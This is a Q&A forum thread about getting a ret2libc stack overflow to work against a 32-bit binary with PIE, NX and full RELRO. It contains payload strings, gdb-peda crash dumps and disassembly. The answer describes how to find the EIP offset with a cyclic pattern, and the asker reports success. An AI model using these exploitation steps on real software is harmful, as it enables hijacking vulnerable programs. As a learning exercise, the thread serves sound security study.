0

I am attempting to overwrite the eip of a binary (in order to perform a ret2libc attack). The program has full relro, PIE and NX.

Here's my thought process. First I try this, I input "C"*260 + "system address" + "bbbb" + "bin/sh address" and get the following:

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xefbdbfef 
ECX: 0x65bdbfef 
EDX: 0x565581a0 ('C' <repeats 200 times>...)
ESI: 0xf7fb2000 --> 0x1dfd6c 
EDI: 0xf7fb2000 --> 0x1dfd6c 
EBP: 0xbfefbdbf 
ESP: 0x65bdbfeb 
EIP: 0x565556df (<main+194>:    ret)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565556da <main+189>:       pop    ebx
   0x565556db <main+190>:       pop    ebp
   0x565556dc <main+191>:       lea    esp,[ecx-0x4]
=> 0x565556df <main+194>:       ret    
   0x565556e0 <__libc_csu_init>:        push   ebp
   0x565556e1 <__libc_csu_init+1>:      push   edi
   0x565556e2 <__libc_csu_init+2>:      push   esi
   0x565556e3 <__libc_csu_init+3>:      push   ebx
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x65bdbfeb
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x565556df in main ()

I believe that the reason the eip is not overwritten is because the esp is invalid so the program stops before the eip can be changed. My thinking is then to overwrite the esp with a valid address first before overwriting the eip and at first this seems to work. I input "C"*260 + "system address" + "FFFF" + "bin/sh address" and you can see that the esp register is filled with "BFFF" (it has 0x4 taken away from it)

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x65bdbfef 
ECX: 0x46464646 ('FFFF')
EDX: 0x565581a0 ('C' <repeats 200 times>...)
ESI: 0xf7fb2000 --> 0x1dfd6c 
EDI: 0xf7fb2000 --> 0x1dfd6c 
EBP: 0xefbdbfef 
ESP: 0x46464642 ('BFFF')
EIP: 0x565556df (<main+194>:    ret)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565556da <main+189>:       pop    ebx
   0x565556db <main+190>:       pop    ebp
   0x565556dc <main+191>:       lea    esp,[ecx-0x4]
=> 0x565556df <main+194>:       ret    
   0x565556e0 <__libc_csu_init>:        push   ebp
   0x565556e1 <__libc_csu_init+1>:      push   edi
   0x565556e2 <__libc_csu_init+2>:      push   esi
   0x565556e3 <__libc_csu_init+3>:      push   ebx
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x46464642
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x565556df in main ()
gdb-peda$ 

When I try inputting what I think would a valid esp address, for example "C"*(260) + "\x34\xd1\xff\xff" + "\xf0\x65\xe1\xf7" + "BBBB" + "\06\xa4\xf5\xf7" I get the following

    Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xefbdbfef 
ECX: 0xbdbfef34 
EDX: 0x565581a0 ('C' <repeats 200 times>...)
ESI: 0xf7fb2000 --> 0x1dfd6c 
EDI: 0xf7fb2000 --> 0x1dfd6c 
EBP: 0xbfefbdbf 
ESP: 0xbdbfef30 
EIP: 0x565556df (<main+194>:    ret)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565556da <main+189>:       pop    ebx
   0x565556db <main+190>:       pop    ebp
   0x565556dc <main+191>:       lea    esp,[ecx-0x4]
=> 0x565556df <main+194>:       ret    
   0x565556e0 <__libc_csu_init>:        push   ebp
   0x565556e1 <__libc_csu_init+1>:      push   edi
   0x565556e2 <__libc_csu_init+2>:      push   esi
   0x565556e3 <__libc_csu_init+3>:      push   ebx
[--I think that it could be because I have a) put in the wrong value for the esp (and therefore would like to know how to calculate the correct one) or ha ----------------------------------stack-------------------------------------]
Invalid $SP address: 0xbdbfef30
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x565556df in main ()

The esp is completely different to the value I tried to overwrite it with. I'm not sure as to why this is the case I think that it could be because I have put in the wrong value for the esp (and therefore would like to know how to calculate the correct one). If there is an easier way to overwrite the eip instead I am all ears :)

The disassembly of the main function is below:

Dump of assembler code for function main:
   0x5655561d <+0>:     lea    ecx,[esp+0x4]
   0x56555621 <+4>:     and    esp,0xfffffff0
   0x56555624 <+7>:     push   DWORD PTR [ecx-0x4]
   0x56555627 <+10>:    push   ebp
   0x56555628 <+11>:    mov    ebp,esp
   0x5655562a <+13>:    push   ebx
   0x5655562b <+14>:    push   ecx
   0x5655562c <+15>:    sub    esp,0x110
   0x56555632 <+21>:    call   0x56555520 <__x86.get_pc_thunk.bx>
   0x56555637 <+26>:    add    ebx,0x1989
   0x5655563d <+32>:    mov    DWORD PTR [ebp-0xc],0x0
   0x56555644 <+39>:    sub    esp,0xc
   0x56555647 <+42>:    lea    eax,[ebx-0x1860]
   0x5655564d <+48>:    push   eax
   0x5655564e <+49>:    call   0x565554a0 <puts@plt>
   0x56555653 <+54>:    add    esp,0x10
   0x56555656 <+57>:    mov    eax,DWORD PTR [ebx+0x34]
   0x5655565c <+63>:    mov    eax,DWORD PTR [eax]
   0x5655565e <+65>:    sub    esp,0xc
   0x56555661 <+68>:    push   eax
   0x56555662 <+69>:    call   0x56555480 <fflush@plt>
   0x56555667 <+74>:    add    esp,0x10
   0x5655566a <+77>:    jmp    0x565556cb <main+174>
   0x5655566c <+79>:    sub    esp,0x4
   0x5655566f <+82>:    push   0x100
   0x56555674 <+87>:    push   0x0
   0x56555676 <+89>:    lea    eax,[ebp-0x10c]
   0x5655567c <+95>:    push   eax
   0x5655567d <+96>:    call   0x565554c0 <memset@plt>
   0x56555682 <+101>:   add    esp,0x10
   0x56555685 <+104>:   mov    eax,DWORD PTR [ebx+0x30]
   0x5655568b <+110>:   mov    eax,DWORD PTR [eax]
   0x5655568d <+112>:   sub    esp,0x4
   0x56555690 <+115>:   push   eax
   0x56555691 <+116>:   push   0x256
   0x56555696 <+121>:   lea    eax,[ebp-0x10c]
   0x5655569c <+127>:   push   eax
   0x5655569d <+128>:   call   0x56555490 <fgets@plt>
   0x565556a2 <+133>:   add    esp,0x10
   0x565556a5 <+136>:   sub    esp,0xc
   0x565556a8 <+139>:   lea    eax,[ebp-0x10c]
   0x565556ae <+145>:   push   eax
   0x565556af <+146>:   call   0x56555470 <printf@plt>
   0x565556b4 <+151>:   add    esp,0x10
   0x565556b7 <+154>:   mov    eax,DWORD PTR [ebx+0x34]
   0x565556bd <+160>:   mov    eax,DWORD PTR [eax]
   0x565556bf <+162>:   sub    esp,0xc
   0x565556c2 <+165>:   push   eax
   0x565556c3 <+166>:   call   0x56555480 <fflush@plt>
   0x565556c8 <+171>:   add    esp,0x10
   0x565556cb <+174>:   cmp    DWORD PTR [ebp-0xc],0x0
   0x565556cf <+178>:   je     0x5655566c <main+79>
   0x565556d1 <+180>:   mov    eax,0x0
   0x565556d6 <+185>:   lea    esp,[ebp-0x8]
   0x565556d9 <+188>:   pop    ecx
   0x565556da <+189>:   pop    ebx
   0x565556db <+190>:   pop    ebp
   0x565556dc <+191>:   lea    esp,[ecx-0x4]
=> 0x565556df <+194>:   ret    

1 Answers1

0

As stated in comments to your previous question on the subject, the solution is likely to not try to overwrite ECX at all:

  1. As you have seen, an incorrect value in ECX will lead to an invalid value in ESP, causing an early segfault and preventing you from hijacking execution flow.
  2. With the current exploit mitigations active, you will likely not be able to guess a usable address. ASLR prevents you from guessing stack addresses, and PIE prevents you from guessing other static addresses (e.g. binary's RW data section).

Even if you were able to control ECX and thus where the stack moves, your payload will not work as it stands. You have prepared a function and arguments at where you assume the stack will be, but it is moved elsewhere and you will have to account for this. But first, to fix your original problem:

Without the C source or a binary, I am just speculating, but I believe this should work:

  1. Use GDB-PEDA to generate a cyclic pattern of length just enough so that ECX isn't controlled. Looking at your payload, it looks like this should be 268 (again, exactly the same as this answer).
  2. Run it with the cyclic payload. Observe that the program segfaults, but it's because EIP is invalid this time.
  3. Use GDB-PEDA to search for the value of EIP in the cyclic pattern. The offset will be less than the buffer size, but this makes sense since things were shifted around after you did the initial overflow.
  4. Try again using the new EIP offset to hijack execution:

    "A"*EIP_OFFSET + "DEAD" + B*(OVERFLOW-EIP_OFFSET-4)
    
  5.  Now, you can start put your entire payload in the middle of the overflow at the newly found offset.

I think you may run into issues getting your payload to run due to ASLR (e.g. address of system and /bin/sh will change each time), but this should at least help get you control over execution.

multithr3at3d
  • 12,355
  • 3
  • 29
  • 42
  • thanks, I did try what your comment suggested on my previous question but found I had the same issue, i could overwrite the eip with characters, but still ran into the same problem with the stack pointer. I will let you know if I can get this to work. The binary is vunerable to format string so it may be possible to get addresses from there – elmuscovado May 28 '20 at 14:43
  • Is "dead" where my payload would be or is it the value of esp? From there I think I should be good – elmuscovado May 28 '20 at 14:59
  • "DEAD" is where ESP will be pointing at `ret`, so that's the value that will get put in EIP. So that's where your payload should go; you could replace it with the address of `system()`. – multithr3at3d May 28 '20 at 15:09
  • It's still not working, I have the correct address of system and bin/sh. I'm doing `"A"*EIP_OFFSET + "system addr" + "dead" +"bin/sh addr" + "B"*(OVERFLOW-EIP_OFFSET-4-12)`. When I replace the payload with dead the eip reads 0x00000000, not dead. I've played around with the offsets and values just in case but that's still the case. I;ve just noticed that I now get the error `Invalid $PC address 0x0` (When I use "dead" as the payload) which may be the root of this problem – elmuscovado May 28 '20 at 15:22
  • Maybe you could add the C source to the question? – multithr3at3d May 28 '20 at 16:24
  • i fiddled with the offsets some more and it now works :) thanks for all of your help – elmuscovado May 28 '20 at 20:44
  • @Monkeybike123 that's great news! Sometimes that's all it takes. – multithr3at3d May 28 '20 at 22:34